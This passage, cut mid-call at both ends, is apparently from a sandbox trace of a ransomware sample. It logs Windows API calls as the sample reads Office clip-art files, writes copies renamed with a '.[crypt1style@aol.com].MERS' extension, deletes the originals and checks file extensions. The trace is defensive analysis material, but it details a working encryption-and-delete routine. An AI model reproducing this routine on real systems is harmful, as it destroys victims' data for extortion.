hFile=0x3ac, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0xc44, lpOverlapped=0x0) returned 1 [0264.931] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0264.932] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.932] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.932] SetEndOfFile (hFile=0x2d8) returned 1 [0264.932] CloseHandle (hObject=0x2d8) returned 1 [0264.932] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.932] SetEndOfFile (hFile=0x3ac) returned 1 [0264.934] CloseHandle (hObject=0x3ac) returned 1 [0264.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0264.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0264.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0264.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0264.934] lstrlenW (lpString=".doc") returned 4 [0264.934] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0264.934] lstrlenW (lpString=".docx") returned 5 [0264.934] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0264.934] lstrlenW (lpString=".pdf") returned 4 [0264.934] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0264.934] lstrlenW (lpString=".xls") returned 4 [0264.934] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0264.934] lstrlenW (lpString=".xlsx") returned 5 [0264.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0264.934] lstrlenW (lpString=".ppt") returned 4 [0264.934] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0264.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0264.934] lstrlenW (lpString=".zip") returned 4 [0264.934] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0264.934] lstrlenW (lpString=".rar") returned 4 [0264.935] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0264.935] lstrlenW (lpString=".bz2") returned 4 [0264.935] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0264.935] lstrlenW (lpString=".7z") returned 3 [0264.935] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0264.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0264.935] lstrlenW (lpString=".dbf") returned 4 [0264.935] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0264.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0264.935] lstrlenW (lpString=".1cd") returned 4 [0264.935] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0264.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0264.935] lstrlenW (lpString=".jpg") returned 4 [0264.935] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0264.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0264.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0264.935] lstrlenW (lpString=".doc") returned 4 [0264.935] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0264.935] lstrlenW (lpString=".docx") returned 5 [0264.935] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0264.935] lstrlenW (lpString=".pdf") returned 4 [0264.935] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0264.935] lstrlenW (lpString=".xls") returned 4 [0264.935] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0264.935] lstrlenW (lpString=".xlsx") returned 5 [0264.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0264.935] lstrlenW (lpString=".ppt") returned 4 [0264.935] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0264.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0264.935] lstrlenW (lpString=".zip") returned 4 [0264.935] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0264.935] lstrlenW (lpString=".rar") returned 4 [0264.935] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0264.936] lstrlenW (lpString=".bz2") returned 4 [0264.936] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0264.936] lstrlenW (lpString=".7z") returned 3 [0264.936] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0264.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0264.936] lstrlenW (lpString=".dbf") returned 4 [0264.936] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0264.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0264.936] lstrlenW (lpString=".1cd") returned 4 [0264.936] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0264.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0264.936] lstrlenW (lpString=".jpg") returned 4 [0264.936] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0264.936] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0264.936] lstrlenW (lpString="AG00139_.GIF") returned 12 [0264.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.084] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=10607) returned 1 [0265.084] CloseHandle (hObject=0x360) returned 1 [0265.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0265.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0265.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0265.948] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.948] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0265.949] GetLastError () returned 0x0 [0265.949] ReadFile (in: hFile=0x384, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x296f, lpOverlapped=0x0) returned 1 [0266.034] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x2970, lpOverlapped=0x0) returned 1 [0266.035] ReadFile (in: hFile=0x384, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.035] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.035] SetEndOfFile (hFile=0x3b0) returned 1 [0266.038] CloseHandle (hObject=0x3b0) returned 1 [0266.038] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.038] SetEndOfFile (hFile=0x384) returned 1 [0266.040] CloseHandle (hObject=0x384) returned 1 [0266.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0266.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0266.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0266.040] lstrlenW (lpString=".doc") returned 4 [0266.040] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.040] lstrlenW (lpString=".docx") returned 5 [0266.040] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.040] lstrlenW (lpString=".pdf") returned 4 [0266.040] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.041] lstrlenW (lpString=".xls") returned 4 [0266.041] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.041] lstrlenW (lpString=".xlsx") returned 5 [0266.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.041] lstrlenW (lpString=".ppt") returned 4 [0266.041] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0266.041] lstrlenW (lpString=".zip") returned 4 [0266.041] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.041] lstrlenW (lpString=".rar") returned 4 [0266.041] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.041] lstrlenW (lpString=".bz2") returned 4 [0266.041] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.041] lstrlenW (lpString=".7z") returned 3 [0266.041] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0266.041] lstrlenW (lpString=".dbf") returned 4 [0266.041] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0266.041] lstrlenW (lpString=".1cd") returned 4 [0266.041] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0266.041] lstrlenW (lpString=".jpg") returned 4 [0266.041] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0266.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0266.041] lstrlenW (lpString=".doc") returned 4 [0266.041] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.041] lstrlenW (lpString=".docx") returned 5 [0266.041] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.041] lstrlenW (lpString=".pdf") returned 4 [0266.041] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.041] lstrlenW (lpString=".xls") returned 4 [0266.041] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.042] lstrlenW (lpString=".xlsx") returned 5 [0266.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.042] lstrlenW (lpString=".ppt") returned 4 [0266.042] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0266.042] lstrlenW (lpString=".zip") returned 4 [0266.042] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.042] lstrlenW (lpString=".rar") returned 4 [0266.042] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.042] lstrlenW (lpString=".bz2") returned 4 [0266.042] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.042] lstrlenW (lpString=".7z") returned 3 [0266.042] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0266.042] lstrlenW (lpString=".dbf") returned 4 [0266.042] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0266.042] lstrlenW (lpString=".1cd") returned 4 [0266.042] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0266.042] lstrlenW (lpString=".jpg") returned 4 [0266.042] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.043] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0266.043] lstrlenW (lpString="AG00158_.GIF") returned 12 [0266.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0266.043] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=5030) returned 1 [0266.043] CloseHandle (hObject=0x384) returned 1 [0266.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0266.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0266.043] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.043] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0266.044] GetLastError () returned 0x0 [0266.044] ReadFile (in: hFile=0x384, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x13a6, lpOverlapped=0x0) returned 1 [0266.077] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x13b0, lpOverlapped=0x0) returned 1 [0266.077] ReadFile (in: hFile=0x384, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.077] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.077] SetEndOfFile (hFile=0x3b0) returned 1 [0266.077] CloseHandle (hObject=0x3b0) returned 1 [0266.078] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.078] SetEndOfFile (hFile=0x384) returned 1 [0266.080] CloseHandle (hObject=0x384) returned 1 [0266.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0266.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0266.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0266.080] lstrlenW (lpString=".doc") returned 4 [0266.080] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.080] lstrlenW (lpString=".docx") returned 5 [0266.080] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.081] lstrlenW (lpString=".pdf") returned 4 [0266.081] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.081] lstrlenW (lpString=".xls") returned 4 [0266.081] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.081] lstrlenW (lpString=".xlsx") returned 5 [0266.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.081] lstrlenW (lpString=".ppt") returned 4 [0266.081] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0266.081] lstrlenW (lpString=".zip") returned 4 [0266.081] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.081] lstrlenW (lpString=".rar") returned 4 [0266.081] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.081] lstrlenW (lpString=".bz2") returned 4 [0266.081] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.081] lstrlenW (lpString=".7z") returned 3 [0266.081] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0266.081] lstrlenW (lpString=".dbf") returned 4 [0266.081] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0266.081] lstrlenW (lpString=".1cd") returned 4 [0266.081] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0266.081] lstrlenW (lpString=".jpg") returned 4 [0266.081] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0266.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0266.081] lstrlenW (lpString=".doc") returned 4 [0266.081] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.081] lstrlenW (lpString=".docx") returned 5 [0266.081] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.081] lstrlenW (lpString=".pdf") returned 4 [0266.081] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.081] lstrlenW (lpString=".xls") returned 4 [0266.082] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.082] lstrlenW (lpString=".xlsx") returned 5 [0266.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.082] lstrlenW (lpString=".ppt") returned 4 [0266.082] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0266.082] lstrlenW (lpString=".zip") returned 4 [0266.082] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.082] lstrlenW (lpString=".rar") returned 4 [0266.082] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.082] lstrlenW (lpString=".bz2") returned 4 [0266.082] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.082] lstrlenW (lpString=".7z") returned 3 [0266.082] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0266.082] lstrlenW (lpString=".dbf") returned 4 [0266.082] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0266.082] lstrlenW (lpString=".1cd") returned 4 [0266.082] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0266.082] lstrlenW (lpString=".jpg") returned 4 [0266.082] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.082] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0266.082] lstrlenW (lpString="AG00163_.GIF") returned 12 [0266.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0266.083] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=6984) returned 1 [0266.083] CloseHandle (hObject=0x384) returned 1 [0266.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0266.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0266.084] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.084] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0266.084] GetLastError () returned 0x0 [0266.084] ReadFile (in: hFile=0x384, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x1b48, lpOverlapped=0x0) returned 1 [0266.191] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x1b50, lpOverlapped=0x0) returned 1 [0266.273] ReadFile (in: hFile=0x384, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.274] WriteFile (in: 